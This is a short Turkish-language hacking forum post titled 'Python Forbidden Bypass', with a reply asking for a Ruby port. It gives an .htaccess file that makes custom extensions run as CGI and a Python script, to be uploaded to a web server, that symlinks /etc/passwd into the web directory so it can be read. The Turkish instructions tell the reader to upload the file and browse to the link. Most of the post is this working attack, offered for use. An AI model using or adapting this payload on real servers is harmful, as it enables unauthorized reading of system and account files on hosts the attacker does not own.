Python Forbidden Bypass

.htacesss

Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .heyko
AddHandler cgi-script .meras
AddHandler cgi-script .meras

Tool :

#!/usr/bin/python
print “Content-type: text/html\n\n”
import os
filename = “meras.txt”   #dst
linkto = “/etc/passwd”   #source
os.symlink(linkto, filename)

dosyadı.meras olark kaydedip upload edin dizinde meras.txt yoluna gidecektir. Küçümsenmeyecek açıklardan biridir .

 

güzel taktik bunun ruby ile kodlayabilecek varmi yada kodlanmişi varmi